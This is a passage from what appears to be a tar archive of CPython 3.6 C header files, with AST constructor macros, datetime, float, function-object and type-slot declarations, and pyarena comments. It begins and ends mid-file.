_Py_UnaryOp(unaryop_ty op, expr_ty operand, int lineno, int col_offset, PyArena *arena); #define Lambda(a0, a1, a2, a3, a4) _Py_Lambda(a0, a1, a2, a3, a4) expr_ty _Py_Lambda(arguments_ty args, expr_ty body, int lineno, int col_offset, PyArena *arena); #define IfExp(a0, a1, a2, a3, a4, a5) _Py_IfExp(a0, a1, a2, a3, a4, a5) expr_ty _Py_IfExp(expr_ty test, expr_ty body, expr_ty orelse, int lineno, int col_offset, PyArena *arena); #define Dict(a0, a1, a2, a3, a4) _Py_Dict(a0, a1, a2, a3, a4) expr_ty _Py_Dict(asdl_seq * keys, asdl_seq * values, int lineno, int col_offset, PyArena *arena); #define Set(a0, a1, a2, a3) _Py_Set(a0, a1, a2, a3) expr_ty _Py_Set(asdl_seq * elts, int lineno, int col_offset, PyArena *arena); #define ListComp(a0, a1, a2, a3, a4) _Py_ListComp(a0, a1, a2, a3, a4) expr_ty _Py_ListComp(expr_ty elt, asdl_seq * generators, int lineno, int col_offset, PyArena *arena); #define SetComp(a0, a1, a2, a3, a4) _Py_SetComp(a0, a1, a2, a3, a4) expr_ty _Py_SetComp(expr_ty elt, asdl_seq * generators, int lineno, int col_offset, PyArena *arena); #define DictComp(a0, a1, a2, a3, a4, a5) _Py_DictComp(a0, a1, a2, a3, a4, a5) expr_ty _Py_DictComp(expr_ty key, expr_ty value, asdl_seq * generators, int lineno, int col_offset, PyArena *arena); #define GeneratorExp(a0, a1, a2, a3, a4) _Py_GeneratorExp(a0, a1, a2, a3, a4) expr_ty _Py_GeneratorExp(expr_ty elt, asdl_seq * generators, int lineno, int col_offset, PyArena *arena); #define Await(a0, a1, a2, a3) _Py_Await(a0, a1, a2, a3) expr_ty _Py_Await(expr_ty value, int lineno, int col_offset, PyArena *arena); #define Yield(a0, a1, a2, a3) _Py_Yield(a0, a1, a2, a3) expr_ty _Py_Yield(expr_ty value, int lineno, int col_offset, PyArena *arena); #define YieldFrom(a0, a1, a2, a3) _Py_YieldFrom(a0, a1, a2, a3) expr_ty _Py_YieldFrom(expr_ty value, int lineno, int col_offset, PyArena *arena); #define Compare(a0, a1, a2, a3, a4, a5) _Py_Compare(a0, a1, a2, a3, a4, a5) expr_ty _Py_Compare(expr_ty left, asdl_int_seq * ops, asdl_seq * comparators, int lineno, int col_offset, PyArena *arena); #define Call(a0, a1, a2, a3, a4, a5) _Py_Call(a0, a1, a2, a3, a4, a5) expr_ty _Py_Call(expr_ty func, asdl_seq * args, asdl_seq * keywords, int lineno, int col_offset, PyArena *arena); #define Num(a0, a1, a2, a3) _Py_Num(a0, a1, a2, a3) expr_ty _Py_Num(object n, int lineno, int col_offset, PyArena *arena); #define Str(a0, a1, a2, a3) _Py_Str(a0, a1, a2, a3) expr_ty _Py_Str(string s, int lineno, int col_offset, PyArena *arena); #define FormattedValue(a0, a1, a2, a3, a4, a5) _Py_FormattedValue(a0, a1, a2, a3, a4, a5) expr_ty _Py_FormattedValue(expr_ty value, int conversion, expr_ty format_spec, int lineno, int col_offset, PyArena *arena); #define JoinedStr(a0, a1, a2, a3) _Py_JoinedStr(a0, a1, a2, a3) expr_ty _Py_JoinedStr(asdl_seq * values, int lineno, int col_offset, PyArena *arena); #define Bytes(a0, a1, a2, a3) _Py_Bytes(a0, a1, a2, a3) expr_ty _Py_Bytes(bytes s, int lineno, int col_offset, PyArena *arena); #define NameConstant(a0, a1, a2, a3) _Py_NameConstant(a0, a1, a2, a3) expr_ty _Py_NameConstant(singleton value, int lineno, int col_offset, PyArena *arena); #define Ellipsis(a0, a1, a2) _Py_Ellipsis(a0, a1, a2) expr_ty _Py_Ellipsis(int lineno, int col_offset, PyArena *arena); #define Constant(a0, a1, a2, a3) _Py_Constant(a0, a1, a2, a3) expr_ty _Py_Constant(constant value, int lineno, int col_offset, PyArena *arena); #define Attribute(a0, a1, a2, a3, a4, a5) _Py_Attribute(a0, a1, a2, a3, a4, a5) expr_ty _Py_Attribute(expr_ty value, identifier attr, expr_context_ty ctx, int lineno, int col_offset, PyArena *arena); #define Subscript(a0, a1, a2, a3, a4, a5) _Py_Subscript(a0, a1, a2, a3, a4, a5) expr_ty _Py_Subscript(expr_ty value, slice_ty slice, expr_context_ty ctx, int lineno, int col_offset, PyArena *arena); #define Starred(a0, a1, a2, a3, a4) _Py_Starred(a0, a1, a2, a3, a4) expr_ty _Py_Starred(expr_ty value, expr_context_ty ctx, int lineno, int col_offset, PyArena *arena); #define Name(a0, a1, a2, a3, a4) _Py_Name(a0, a1, a2, a3, a4) expr_ty _Py_Name(identifier id, expr_context_ty ctx, int lineno, int col_offset, PyArena *arena); #define List(a0, a1, a2, a3, a4) _Py_List(a0, a1, a2, a3, a4) expr_ty _Py_List(asdl_seq * elts, expr_context_ty ctx, int lineno, int col_offset, PyArena *arena); #define Tuple(a0, a1, a2, a3, a4) _Py_Tuple(a0, a1, a2, a3, a4) expr_ty _Py_Tuple(asdl_seq * elts, expr_context_ty ctx, int lineno, int col_offset, PyArena *arena); #define Slice(a0, a1, a2, a3) _Py_Slice(a0, a1, a2, a3) slice_ty _Py_Slice(expr_ty lower, expr_ty upper, expr_ty step, PyArena *arena); #define ExtSlice(a0, a1) _Py_ExtSlice(a0, a1) slice_ty _Py_ExtSlice(asdl_seq * dims, PyArena *arena); #define Index(a0, a1) _Py_Index(a0, a1) slice_ty _Py_Index(expr_ty value, PyArena *arena); #define comprehension(a0, a1, a2, a3, a4) _Py_comprehension(a0, a1, a2, a3, a4) comprehension_ty _Py_comprehension(expr_ty target, expr_ty iter, asdl_seq * ifs, int is_async, PyArena *arena); #define ExceptHandler(a0, a1, a2, a3, a4, a5) _Py_ExceptHandler(a0, a1, a2, a3, a4, a5) excepthandler_ty _Py_ExceptHandler(expr_ty type, identifier name, asdl_seq * body, int lineno, int col_offset, PyArena *arena); #define arguments(a0, a1, a2, a3, a4, a5, a6) _Py_arguments(a0, a1, a2, a3, a4, a5, a6) arguments_ty _Py_arguments(asdl_seq * args, arg_ty vararg, asdl_seq * kwonlyargs, asdl_seq * kw_defaults, arg_ty kwarg, asdl_seq * defaults, PyArena *arena); #define arg(a0, a1, a2, a3, a4) _Py_arg(a0, a1, a2, a3, a4) arg_ty _Py_arg(identifier arg, expr_ty annotation, int lineno, int col_offset, PyArena *arena); #define keyword(a0, a1, a2) _Py_keyword(a0, a1, a2) keyword_ty _Py_keyword(identifier arg, expr_ty value, PyArena *arena); #define alias(a0, a1, a2) _Py_alias(a0, a1, a2) alias_ty _Py_alias(identifier name, identifier asname, PyArena *arena); #define withitem(a0, a1, a2) _Py_withitem(a0, a1, a2) withitem_ty _Py_withitem(expr_ty context_expr, expr_ty optional_vars, PyArena *arena); PyObject* PyAST_mod2obj(mod_ty t); mod_ty PyAST_obj2mod(PyObject* ast, PyArena* arena, int mode); int PyAST_Check(PyObject* obj); python3.6m/bltinmodule.h 0000644 00000000410 15246445047 0011166 0 ustar 00 #ifndef Py_BLTINMODULE_H #define Py_BLTINMODULE_H #ifdef __cplusplus extern "C" { #endif PyAPI_DATA(PyTypeObject) PyFilter_Type; PyAPI_DATA(PyTypeObject) PyMap_Type; PyAPI_DATA(PyTypeObject) PyZip_Type; #ifdef __cplusplus } #endif #endif /* !Py_BLTINMODULE_H */ python3.6m/datetime.h 0000644 00000022306 15246445047 0010454 0 ustar 00 /* datetime.h */ #ifndef Py_LIMITED_API #ifndef DATETIME_H #define DATETIME_H #ifdef __cplusplus extern "C" { #endif /* Fields are packed into successive bytes, each viewed as unsigned and * big-endian, unless otherwise noted: * * byte offset * 0 year 2 bytes, 1-9999 * 2 month 1 byte, 1-12 * 3 day 1 byte, 1-31 * 4 hour 1 byte, 0-23 * 5 minute 1 byte, 0-59 * 6 second 1 byte, 0-59 * 7 usecond 3 bytes, 0-999999 * 10 */ /* # of bytes for year, month, and day. */ #define _PyDateTime_DATE_DATASIZE 4 /* # of bytes for hour, minute, second, and usecond. */ #define _PyDateTime_TIME_DATASIZE 6 /* # of bytes for year, month, day, hour, minute, second, and usecond. */ #define _PyDateTime_DATETIME_DATASIZE 10 typedef struct { PyObject_HEAD Py_hash_t hashcode; /* -1 when unknown */ int days; /* -MAX_DELTA_DAYS <= days <= MAX_DELTA_DAYS */ int seconds; /* 0 <= seconds < 24*3600 is invariant */ int microseconds; /* 0 <= microseconds < 1000000 is invariant */ } PyDateTime_Delta; typedef struct { PyObject_HEAD /* a pure abstract base class */ } PyDateTime_TZInfo; /* The datetime and time types have hashcodes, and an optional tzinfo member, * present if and only if hastzinfo is true. */ #define _PyTZINFO_HEAD \ PyObject_HEAD \ Py_hash_t hashcode; \ char hastzinfo; /* boolean flag */ /* No _PyDateTime_BaseTZInfo is allocated; it's just to have something * convenient to cast to, when getting at the hastzinfo member of objects * starting with _PyTZINFO_HEAD. */ typedef struct { _PyTZINFO_HEAD } _PyDateTime_BaseTZInfo; /* All time objects are of PyDateTime_TimeType, but that can be allocated * in two ways, with or without a tzinfo member. Without is the same as * tzinfo == None, but consumes less memory. _PyDateTime_BaseTime is an * internal struct used to allocate the right amount of space for the * "without" case. */ #define _PyDateTime_TIMEHEAD \ _PyTZINFO_HEAD \ unsigned char data[_PyDateTime_TIME_DATASIZE]; typedef struct { _PyDateTime_TIMEHEAD } _PyDateTime_BaseTime; /* hastzinfo false */ typedef struct { _PyDateTime_TIMEHEAD unsigned char fold; PyObject *tzinfo; } PyDateTime_Time; /* hastzinfo true */ /* All datetime objects are of PyDateTime_DateTimeType, but that can be * allocated in two ways too, just like for time objects above. In addition, * the plain date type is a base class for datetime, so it must also have * a hastzinfo member (although it's unused there). */ typedef struct { _PyTZINFO_HEAD unsigned char data[_PyDateTime_DATE_DATASIZE]; } PyDateTime_Date; #define _PyDateTime_DATETIMEHEAD \ _PyTZINFO_HEAD \ unsigned char data[_PyDateTime_DATETIME_DATASIZE]; typedef struct { _PyDateTime_DATETIMEHEAD } _PyDateTime_BaseDateTime; /* hastzinfo false */ typedef struct { _PyDateTime_DATETIMEHEAD unsigned char fold; PyObject *tzinfo; } PyDateTime_DateTime; /* hastzinfo true */ /* Apply for date and datetime instances. */ #define PyDateTime_GET_YEAR(o) ((((PyDateTime_Date*)o)->data[0] << 8) | \ ((PyDateTime_Date*)o)->data[1]) #define PyDateTime_GET_MONTH(o) (((PyDateTime_Date*)o)->data[2]) #define PyDateTime_GET_DAY(o) (((PyDateTime_Date*)o)->data[3]) #define PyDateTime_DATE_GET_HOUR(o) (((PyDateTime_DateTime*)o)->data[4]) #define PyDateTime_DATE_GET_MINUTE(o) (((PyDateTime_DateTime*)o)->data[5]) #define PyDateTime_DATE_GET_SECOND(o) (((PyDateTime_DateTime*)o)->data[6]) #define PyDateTime_DATE_GET_MICROSECOND(o) \ ((((PyDateTime_DateTime*)o)->data[7] << 16) | \ (((PyDateTime_DateTime*)o)->data[8] << 8) | \ ((PyDateTime_DateTime*)o)->data[9]) #define PyDateTime_DATE_GET_FOLD(o) (((PyDateTime_DateTime*)o)->fold) /* Apply for time instances. */ #define PyDateTime_TIME_GET_HOUR(o) (((PyDateTime_Time*)o)->data[0]) #define PyDateTime_TIME_GET_MINUTE(o) (((PyDateTime_Time*)o)->data[1]) #define PyDateTime_TIME_GET_SECOND(o) (((PyDateTime_Time*)o)->data[2]) #define PyDateTime_TIME_GET_MICROSECOND(o) \ ((((PyDateTime_Time*)o)->data[3] << 16) | \ (((PyDateTime_Time*)o)->data[4] << 8) | \ ((PyDateTime_Time*)o)->data[5]) #define PyDateTime_TIME_GET_FOLD(o) (((PyDateTime_Time*)o)->fold) /* Apply for time delta instances */ #define PyDateTime_DELTA_GET_DAYS(o) (((PyDateTime_Delta*)o)->days) #define PyDateTime_DELTA_GET_SECONDS(o) (((PyDateTime_Delta*)o)->seconds) #define PyDateTime_DELTA_GET_MICROSECONDS(o) \ (((PyDateTime_Delta*)o)->microseconds) /* Define structure for C API. */ typedef struct { /* type objects */ PyTypeObject *DateType; PyTypeObject *DateTimeType; PyTypeObject *TimeType; PyTypeObject *DeltaType; PyTypeObject *TZInfoType; /* constructors */ PyObject *(*Date_FromDate)(int, int, int, PyTypeObject*); PyObject *(*DateTime_FromDateAndTime)(int, int, int, int, int, int, int, PyObject*, PyTypeObject*); PyObject *(*Time_FromTime)(int, int, int, int, PyObject*, PyTypeObject*); PyObject *(*Delta_FromDelta)(int, int, int, int, PyTypeObject*); /* constructors for the DB API */ PyObject *(*DateTime_FromTimestamp)(PyObject*, PyObject*, PyObject*); PyObject *(*Date_FromTimestamp)(PyObject*, PyObject*); /* PEP 495 constructors */ PyObject *(*DateTime_FromDateAndTimeAndFold)(int, int, int, int, int, int, int, PyObject*, int, PyTypeObject*); PyObject *(*Time_FromTimeAndFold)(int, int, int, int, PyObject*, int, PyTypeObject*); } PyDateTime_CAPI; #define PyDateTime_CAPSULE_NAME "datetime.datetime_CAPI" #ifdef Py_BUILD_CORE /* Macros for type checking when building the Python core. */ #define PyDate_Check(op) PyObject_TypeCheck(op, &PyDateTime_DateType) #define PyDate_CheckExact(op) (Py_TYPE(op) == &PyDateTime_DateType) #define PyDateTime_Check(op) PyObject_TypeCheck(op, &PyDateTime_DateTimeType) #define PyDateTime_CheckExact(op) (Py_TYPE(op) == &PyDateTime_DateTimeType) #define PyTime_Check(op) PyObject_TypeCheck(op, &PyDateTime_TimeType) #define PyTime_CheckExact(op) (Py_TYPE(op) == &PyDateTime_TimeType) #define PyDelta_Check(op) PyObject_TypeCheck(op, &PyDateTime_DeltaType) #define PyDelta_CheckExact(op) (Py_TYPE(op) == &PyDateTime_DeltaType) #define PyTZInfo_Check(op) PyObject_TypeCheck(op, &PyDateTime_TZInfoType) #define PyTZInfo_CheckExact(op) (Py_TYPE(op) == &PyDateTime_TZInfoType) #else /* Define global variable for the C API and a macro for setting it. */ static PyDateTime_CAPI *PyDateTimeAPI = NULL; #define PyDateTime_IMPORT \ PyDateTimeAPI = (PyDateTime_CAPI *)PyCapsule_Import(PyDateTime_CAPSULE_NAME, 0) /* Macros for type checking when not building the Python core. */ #define PyDate_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->DateType) #define PyDate_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->DateType) #define PyDateTime_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->DateTimeType) #define PyDateTime_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->DateTimeType) #define PyTime_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->TimeType) #define PyTime_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->TimeType) #define PyDelta_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->DeltaType) #define PyDelta_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->DeltaType) #define PyTZInfo_Check(op) PyObject_TypeCheck(op, PyDateTimeAPI->TZInfoType) #define PyTZInfo_CheckExact(op) (Py_TYPE(op) == PyDateTimeAPI->TZInfoType) /* Macros for accessing constructors in a simplified fashion. */ #define PyDate_FromDate(year, month, day) \ PyDateTimeAPI->Date_FromDate(year, month, day, PyDateTimeAPI->DateType) #define PyDateTime_FromDateAndTime(year, month, day, hour, min, sec, usec) \ PyDateTimeAPI->DateTime_FromDateAndTime(year, month, day, hour, \ min, sec, usec, Py_None, PyDateTimeAPI->DateTimeType) #define PyDateTime_FromDateAndTimeAndFold(year, month, day, hour, min, sec, usec, fold) \ PyDateTimeAPI->DateTime_FromDateAndTimeAndFold(year, month, day, hour, \ min, sec, usec, Py_None, fold, PyDateTimeAPI->DateTimeType) #define PyTime_FromTime(hour, minute, second, usecond) \ PyDateTimeAPI->Time_FromTime(hour, minute, second, usecond, \ Py_None, PyDateTimeAPI->TimeType) #define PyTime_FromTimeAndFold(hour, minute, second, usecond, fold) \ PyDateTimeAPI->Time_FromTimeAndFold(hour, minute, second, usecond, \ Py_None, fold, PyDateTimeAPI->TimeType) #define PyDelta_FromDSU(days, seconds, useconds) \ PyDateTimeAPI->Delta_FromDelta(days, seconds, useconds, 1, \ PyDateTimeAPI->DeltaType) /* Macros supporting the DB API. */ #define PyDateTime_FromTimestamp(args) \ PyDateTimeAPI->DateTime_FromTimestamp( \ (PyObject*) (PyDateTimeAPI->DateTimeType), args, NULL) #define PyDate_FromTimestamp(args) \ PyDateTimeAPI->Date_FromTimestamp( \ (PyObject*) (PyDateTimeAPI->DateType), args) #endif /* Py_BUILD_CORE */ #ifdef __cplusplus } #endif #endif #endif /* !Py_LIMITED_API */ python3.6m/floatobject.h 0000644 00000011272 15246445047 0011154 0 ustar 00 /* Float object interface */ /* PyFloatObject represents a (double precision) floating point number. */ #ifndef Py_FLOATOBJECT_H #define Py_FLOATOBJECT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API typedef struct { PyObject_HEAD double ob_fval; } PyFloatObject; #endif PyAPI_DATA(PyTypeObject) PyFloat_Type; #define PyFloat_Check(op) PyObject_TypeCheck(op, &PyFloat_Type) #define PyFloat_CheckExact(op) (Py_TYPE(op) == &PyFloat_Type) #ifdef Py_NAN #define Py_RETURN_NAN return PyFloat_FromDouble(Py_NAN) #endif #define Py_RETURN_INF(sign) do \ if (copysign(1., sign) == 1.) { \ return PyFloat_FromDouble(Py_HUGE_VAL); \ } else { \ return PyFloat_FromDouble(-Py_HUGE_VAL); \ } while(0) PyAPI_FUNC(double) PyFloat_GetMax(void); PyAPI_FUNC(double) PyFloat_GetMin(void); PyAPI_FUNC(PyObject *) PyFloat_GetInfo(void); /* Return Python float from string PyObject. */ PyAPI_FUNC(PyObject *) PyFloat_FromString(PyObject*); /* Return Python float from C double. */ PyAPI_FUNC(PyObject *) PyFloat_FromDouble(double); /* Extract C double from Python float. The macro version trades safety for speed. */ PyAPI_FUNC(double) PyFloat_AsDouble(PyObject *); #ifndef Py_LIMITED_API #define PyFloat_AS_DOUBLE(op) (((PyFloatObject *)(op))->ob_fval) #endif #ifndef Py_LIMITED_API /* _PyFloat_{Pack,Unpack}{4,8} * * The struct and pickle (at least) modules need an efficient platform- * independent way to store floating-point values as byte strings. * The Pack routines produce a string from a C double, and the Unpack * routines produce a C double from such a string. The suffix (4 or 8) * specifies the number of bytes in the string. * * On platforms that appear to use (see _PyFloat_Init()) IEEE-754 formats * these functions work by copying bits. On other platforms, the formats the * 4- byte format is identical to the IEEE-754 single precision format, and * the 8-byte format to the IEEE-754 double precision format, although the * packing of INFs and NaNs (if such things exist on the platform) isn't * handled correctly, and attempting to unpack a string containing an IEEE * INF or NaN will raise an exception. * * On non-IEEE platforms with more precision, or larger dynamic range, than * 754 supports, not all values can be packed; on non-IEEE platforms with less * precision, or smaller dynamic range, not all values can be unpacked. What * happens in such cases is partly accidental (alas). */ /* The pack routines write 2, 4 or 8 bytes, starting at p. le is a bool * argument, true if you want the string in little-endian format (exponent * last, at p+1, p+3 or p+7), false if you want big-endian format (exponent * first, at p). * Return value: 0 if all is OK, -1 if error (and an exception is * set, most likely OverflowError). * There are two problems on non-IEEE platforms: * 1): What this does is undefined if x is a NaN or infinity. * 2): -0.0 and +0.0 produce the same string. */ PyAPI_FUNC(int) _PyFloat_Pack2(double x, unsigned char *p, int le); PyAPI_FUNC(int) _PyFloat_Pack4(double x, unsigned char *p, int le); PyAPI_FUNC(int) _PyFloat_Pack8(double x, unsigned char *p, int le); /* Needed for the old way for marshal to store a floating point number. Returns the string length copied into p, -1 on error. */ PyAPI_FUNC(int) _PyFloat_Repr(double x, char *p, size_t len); /* Used to get the important decimal digits of a double */ PyAPI_FUNC(int) _PyFloat_Digits(char *buf, double v, int *signum); PyAPI_FUNC(void) _PyFloat_DigitsInit(void); /* The unpack routines read 2, 4 or 8 bytes, starting at p. le is a bool * argument, true if the string is in little-endian format (exponent * last, at p+1, p+3 or p+7), false if big-endian (exponent first, at p). * Return value: The unpacked double. On error, this is -1.0 and * PyErr_Occurred() is true (and an exception is set, most likely * OverflowError). Note that on a non-IEEE platform this will refuse * to unpack a string that represents a NaN or infinity. */ PyAPI_FUNC(double) _PyFloat_Unpack2(const unsigned char *p, int le); PyAPI_FUNC(double) _PyFloat_Unpack4(const unsigned char *p, int le); PyAPI_FUNC(double) _PyFloat_Unpack8(const unsigned char *p, int le); /* free list api */ PyAPI_FUNC(int) PyFloat_ClearFreeList(void); PyAPI_FUNC(void) _PyFloat_DebugMallocStats(FILE* out); /* Format the object based on the format_spec, as defined in PEP 3101 (Advanced String Formatting). */ PyAPI_FUNC(int) _PyFloat_FormatAdvancedWriter( _PyUnicodeWriter *writer, PyObject *obj, PyObject *format_spec, Py_ssize_t start, Py_ssize_t end); #endif /* Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_FLOATOBJECT_H */ python3.6m/funcobject.h 0000644 00000007757 15246445047 0011017 0 ustar 00 /* Function object interface */ #ifndef Py_LIMITED_API #ifndef Py_FUNCOBJECT_H #define Py_FUNCOBJECT_H #ifdef __cplusplus extern "C" { #endif /* Function objects and code objects should not be confused with each other: * * Function objects are created by the execution of the 'def' statement. * They reference a code object in their __code__ attribute, which is a * purely syntactic object, i.e. nothing more than a compiled version of some * source code lines. There is one code object per source code "fragment", * but each code object can be referenced by zero or many function objects * depending only on how many times the 'def' statement in the source was * executed so far. */ typedef struct { PyObject_HEAD PyObject *func_code; /* A code object, the __code__ attribute */ PyObject *func_globals; /* A dictionary (other mappings won't do) */ PyObject *func_defaults; /* NULL or a tuple */ PyObject *func_kwdefaults; /* NULL or a dict */ PyObject *func_closure; /* NULL or a tuple of cell objects */ PyObject *func_doc; /* The __doc__ attribute, can be anything */ PyObject *func_name; /* The __name__ attribute, a string object */ PyObject *func_dict; /* The __dict__ attribute, a dict or NULL */ PyObject *func_weakreflist; /* List of weak references */ PyObject *func_module; /* The __module__ attribute, can be anything */ PyObject *func_annotations; /* Annotations, a dict or NULL */ PyObject *func_qualname; /* The qualified name */ /* Invariant: * func_closure contains the bindings for func_code->co_freevars, so * PyTuple_Size(func_closure) == PyCode_GetNumFree(func_code) * (func_closure may be NULL if PyCode_GetNumFree(func_code) == 0). */ } PyFunctionObject; PyAPI_DATA(PyTypeObject) PyFunction_Type; #define PyFunction_Check(op) (Py_TYPE(op) == &PyFunction_Type) PyAPI_FUNC(PyObject *) PyFunction_New(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyFunction_NewWithQualName(PyObject *, PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyFunction_GetCode(PyObject *); PyAPI_FUNC(PyObject *) PyFunction_GetGlobals(PyObject *); PyAPI_FUNC(PyObject *) PyFunction_GetModule(PyObject *); PyAPI_FUNC(PyObject *) PyFunction_GetDefaults(PyObject *); PyAPI_FUNC(int) PyFunction_SetDefaults(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyFunction_GetKwDefaults(PyObject *); PyAPI_FUNC(int) PyFunction_SetKwDefaults(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyFunction_GetClosure(PyObject *); PyAPI_FUNC(int) PyFunction_SetClosure(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyFunction_GetAnnotations(PyObject *); PyAPI_FUNC(int) PyFunction_SetAnnotations(PyObject *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyFunction_FastCallDict( PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); PyAPI_FUNC(PyObject *) _PyFunction_FastCallKeywords( PyObject *func, PyObject **stack, Py_ssize_t nargs, PyObject *kwnames); #endif /* Macros for direct access to these values. Type checks are *not* done, so use with care. */ #define PyFunction_GET_CODE(func) \ (((PyFunctionObject *)func) -> func_code) #define PyFunction_GET_GLOBALS(func) \ (((PyFunctionObject *)func) -> func_globals) #define PyFunction_GET_MODULE(func) \ (((PyFunctionObject *)func) -> func_module) #define PyFunction_GET_DEFAULTS(func) \ (((PyFunctionObject *)func) -> func_defaults) #define PyFunction_GET_KW_DEFAULTS(func) \ (((PyFunctionObject *)func) -> func_kwdefaults) #define PyFunction_GET_CLOSURE(func) \ (((PyFunctionObject *)func) -> func_closure) #define PyFunction_GET_ANNOTATIONS(func) \ (((PyFunctionObject *)func) -> func_annotations) /* The classmethod and staticmethod types lives here, too */ PyAPI_DATA(PyTypeObject) PyClassMethod_Type; PyAPI_DATA(PyTypeObject) PyStaticMethod_Type; PyAPI_FUNC(PyObject *) PyClassMethod_New(PyObject *); PyAPI_FUNC(PyObject *) PyStaticMethod_New(PyObject *); #ifdef __cplusplus } #endif #endif /* !Py_FUNCOBJECT_H */ #endif /* Py_LIMITED_API */ python3.6m/typeslots.h 0000644 00000004315 15246445047 0010726 0 ustar 00 /* Do not renumber the file; these numbers are part of the stable ABI. */ /* Disabled, see #10181 */ #undef Py_bf_getbuffer #undef Py_bf_releasebuffer #define Py_mp_ass_subscript 3 #define Py_mp_length 4 #define Py_mp_subscript 5 #define Py_nb_absolute 6 #define Py_nb_add 7 #define Py_nb_and 8 #define Py_nb_bool 9 #define Py_nb_divmod 10 #define Py_nb_float 11 #define Py_nb_floor_divide 12 #define Py_nb_index 13 #define Py_nb_inplace_add 14 #define Py_nb_inplace_and 15 #define Py_nb_inplace_floor_divide 16 #define Py_nb_inplace_lshift 17 #define Py_nb_inplace_multiply 18 #define Py_nb_inplace_or 19 #define Py_nb_inplace_power 20 #define Py_nb_inplace_remainder 21 #define Py_nb_inplace_rshift 22 #define Py_nb_inplace_subtract 23 #define Py_nb_inplace_true_divide 24 #define Py_nb_inplace_xor 25 #define Py_nb_int 26 #define Py_nb_invert 27 #define Py_nb_lshift 28 #define Py_nb_multiply 29 #define Py_nb_negative 30 #define Py_nb_or 31 #define Py_nb_positive 32 #define Py_nb_power 33 #define Py_nb_remainder 34 #define Py_nb_rshift 35 #define Py_nb_subtract 36 #define Py_nb_true_divide 37 #define Py_nb_xor 38 #define Py_sq_ass_item 39 #define Py_sq_concat 40 #define Py_sq_contains 41 #define Py_sq_inplace_concat 42 #define Py_sq_inplace_repeat 43 #define Py_sq_item 44 #define Py_sq_length 45 #define Py_sq_repeat 46 #define Py_tp_alloc 47 #define Py_tp_base 48 #define Py_tp_bases 49 #define Py_tp_call 50 #define Py_tp_clear 51 #define Py_tp_dealloc 52 #define Py_tp_del 53 #define Py_tp_descr_get 54 #define Py_tp_descr_set 55 #define Py_tp_doc 56 #define Py_tp_getattr 57 #define Py_tp_getattro 58 #define Py_tp_hash 59 #define Py_tp_init 60 #define Py_tp_is_gc 61 #define Py_tp_iter 62 #define Py_tp_iternext 63 #define Py_tp_methods 64 #define Py_tp_new 65 #define Py_tp_repr 66 #define Py_tp_richcompare 67 #define Py_tp_setattr 68 #define Py_tp_setattro 69 #define Py_tp_str 70 #define Py_tp_traverse 71 #define Py_tp_members 72 #define Py_tp_getset 73 #define Py_tp_free 74 #define Py_nb_matrix_multiply 75 #define Py_nb_inplace_matrix_multiply 76 #define Py_am_await 77 #define Py_am_aiter 78 #define Py_am_anext 79 #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 /* New in 3.5 */ #define Py_tp_finalize 80 #endif python3.6m/accu.h 0000644 00000001770 15246445047 0007575 0 ustar 00 #ifndef Py_LIMITED_API #ifndef Py_ACCU_H #define Py_ACCU_H /*** This is a private API for use by the interpreter and the stdlib. *** Its definition may be changed or removed at any moment. ***/ /* * A two-level accumulator of unicode objects that avoids both the overhead * of keeping a huge number of small separate objects, and the quadratic * behaviour of using a naive repeated concatenation scheme. */ #ifdef __cplusplus extern "C" { #endif #undef small /* defined by some Windows headers */ typedef struct { PyObject *large; /* A list of previously accumulated large strings */ PyObject *small; /* Pending small strings */ } _PyAccu; PyAPI_FUNC(int) _PyAccu_Init(_PyAccu *acc); PyAPI_FUNC(int) _PyAccu_Accumulate(_PyAccu *acc, PyObject *unicode); PyAPI_FUNC(PyObject *) _PyAccu_FinishAsList(_PyAccu *acc); PyAPI_FUNC(PyObject *) _PyAccu_Finish(_PyAccu *acc); PyAPI_FUNC(void) _PyAccu_Destroy(_PyAccu *acc); #ifdef __cplusplus } #endif #endif /* Py_ACCU_H */ #endif /* Py_LIMITED_API */ python3.6m/metagrammar.h 0000644 00000000375 15246445047 0011157 0 ustar 00 #ifndef Py_METAGRAMMAR_H #define Py_METAGRAMMAR_H #ifdef __cplusplus extern "C" { #endif #define MSTART 256 #define RULE 257 #define RHS 258 #define ALT 259 #define ITEM 260 #define ATOM 261 #ifdef __cplusplus } #endif #endif /* !Py_METAGRAMMAR_H */ python3.6m/pyconfig.h 0000644 00000000242 15246445047 0010471 0 ustar 00 #include <bits/wordsize.h> #if __WORDSIZE == 32 #include "pyconfig-32.h" #elif __WORDSIZE == 64 #include "pyconfig-64.h" #else #error "Unknown word size" #endif python3.6m/pyarena.h 0000644 00000005270 15246445047 0010320 0 ustar 00 /* An arena-like memory interface for the compiler. */ #ifndef Py_LIMITED_API #ifndef Py_PYARENA_H #define Py_PYARENA_H #ifdef __cplusplus extern "C" { #endif typedef struct _arena PyArena; /* PyArena_New() and PyArena_Free() create a new arena and free it, respectively. Once an arena has been created, it can be used to allocate memory via PyArena_Malloc(). Pointers to PyObject can also be registered with the arena via PyArena_AddPyObject(), and the arena will ensure that the PyObjects stay alive at least until PyArena_Free() is called. When an arena is freed, all the memory it allocated is freed, the arena releases internal references to registered PyObject*, and none of its pointers are valid. XXX (tim) What does "none of its pointers are valid" mean? Does it XXX mean that pointers previously obtained via PyArena_Malloc() are XXX no longer valid? (That's clearly true, but not sure that's what XXX the text is trying to say.) PyArena_New() returns an arena pointer. On error, it returns a negative number and sets an exception. XXX (tim): Not true. On error, PyArena_New() actually returns NULL, XXX and looks like it may or may not set an exception (e.g., if the XXX internal PyList_New(0) returns NULL, PyArena_New() passes that on XXX and an 